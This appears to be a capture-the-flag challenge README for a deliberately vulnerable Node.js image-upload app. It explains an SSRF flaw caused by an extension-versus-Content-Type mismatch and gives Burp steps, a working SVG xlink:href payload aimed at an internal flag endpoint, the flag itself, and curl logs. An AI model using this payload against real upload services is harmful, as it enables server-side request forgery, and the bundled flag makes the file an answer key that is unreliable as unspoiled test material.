acm-rvce/belong
0
Where you don't belong
Description
This site will never allow you to get the flag HAHAHAH - Go where you don't belong and you will get what you deserve :)
Authors
Yash
Setup
- Install dependencies:
npm install- Start the server:
npm start- The application will be available at
http://localhost:7860.
OR
- docker compose build
- docker compose up
File Structure
server.js- Main backend serverpublic/- Frontend files (index.html, style.css, app.js)uploads/- Temporary upload directoryflag.txt- Flag file (for internal use)
Notes
- Only PNG, JPG, JPEG, and GIF files are accepted for upload.
- SVG files are processed differently.
Challenge Overview
The application validates uploaded files by checking the filename extension but processes them based on the Content-Type header. This mismatch allows attackers to upload SVG files disguised as PNG files, leading to SSRF vulnerabilities.
Step 1: Normal Upload Test
- Try uploading a legitimate PNG/JPG image
- Observe that it works correctly
Step 2: Discover the Vulnerability
- Read the hints on the web interface
- Learn about filename vs Content-Type mismatch
- Understand how SVG files can reference external resources
Step 3: Exploit the SSRF
Method : Using Burp Suite
- Set up Burp Suite proxy
- Upload the SVG file with .png extension
- Intercept the request in Burp
- Change the Content-Type header to
image/svg+xml - Forward the request
Step 4: Retrieve the Flag
- Target the internal admin endpoints:
http://localhost:7860/cool/flag(contains the flag!)
Target Endpoints
The server exposes several internal endpoints for SSRF:
/cool/flag- Contains the CTF flag
Example Payload
Basic SSRF Payload (payload_basic.svg)
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image xlink:href="http://localhost:7860/cool/flag" />
</svg>Attack Steps:
- Save as
malicious.png - Upload via the web interface
- Intercept request and change Content-Type to
image/svg+xml
Why It Works
- Server checks filename extension (
.pngpasses validation) - Server processes based on Content-Type header (
image/svg+xml) - SVG parser follows
xlink:hrefreferences - Server makes HTTP requests to attacker-controlled URLs
- Even though processing "fails", SSRF requests are already mad
Flag Format
ACMCTF{SVG_SSRF_XL1NK_PWN3D_N0D3JS}
Additional Resources and References.
Yash@Ubuntu:~$ cd Desktop/image-share/
Yash@Ubuntu:~/Desktop/image-share$ curl -i -X POST http://localhost:7860/api/upload -F "file=@test_payload.svg;type=image/svg+xml"
HTTP/1.1 422 Unprocessable Entity
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 134
ETag: W/"86-n4LEdDTewye1H9NQ4/6LijlaoOs"
Date: Sat, 30 Aug 2025 16:20:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"success":false,"error":"Invalid file type. Only PNG, JPG, JPEG, and GIF files are allowed.","debug_info":["No Info of Value Found"]}Yash@Ubuntu:~/Desktop/image-share$
Yash@Ubuntu:~/Desktop/image-share$ curl -i -X POST http://localhost:7860/api/upload -F "file=@payload_webhook.png;type=image/png"
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 111
ETag: W/"6f-6GEE23yFhya6Dm4OB6EoodNnpbQ"
Date: Sat, 30 Aug 2025 16:21:20 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"success":true,"message":"Image uploaded and processed successfully!","debug_info":["No Info of Value Found"]}Yash@Ubuntu:~/Desktop/image-share$ curl -i -X POST http://localhost:7860/api/upload -F "file=@test_payload.svg;type=image/cd Desktop/image-share/
bash: cd: Desktop/image-share/: No such file or directory
Yash@Ubuntu:~/Desktop/image-share$ curl -i -X POST http://localhost:7860/api/upload -F "file=@payload_webhook.png;type=image/svg+xml"
HTTP/1.1 422 Unprocessable Entity
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 142
ETag: W/"8e-o2dQfSh58vvipCYwKEg6xYKIj98"
Date: Sat, 30 Aug 2025 16:21:55 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"success":false,"error":"Invalid file type. Only PNG, JPG, JPEG, and GIF files are allowed.","debug_info":["test_flag{this_is_a_test_flag}"]}Yash@Ubuntu:~/Desktop/image-share$ ls
docker-compose.yml Dockerfile flag.txt node_modules package.json package-lock.json payload_webhook.png public README.md server.js test_payload.svg uploads
Yash@Ubuntu:~/Desktop/image-share$ 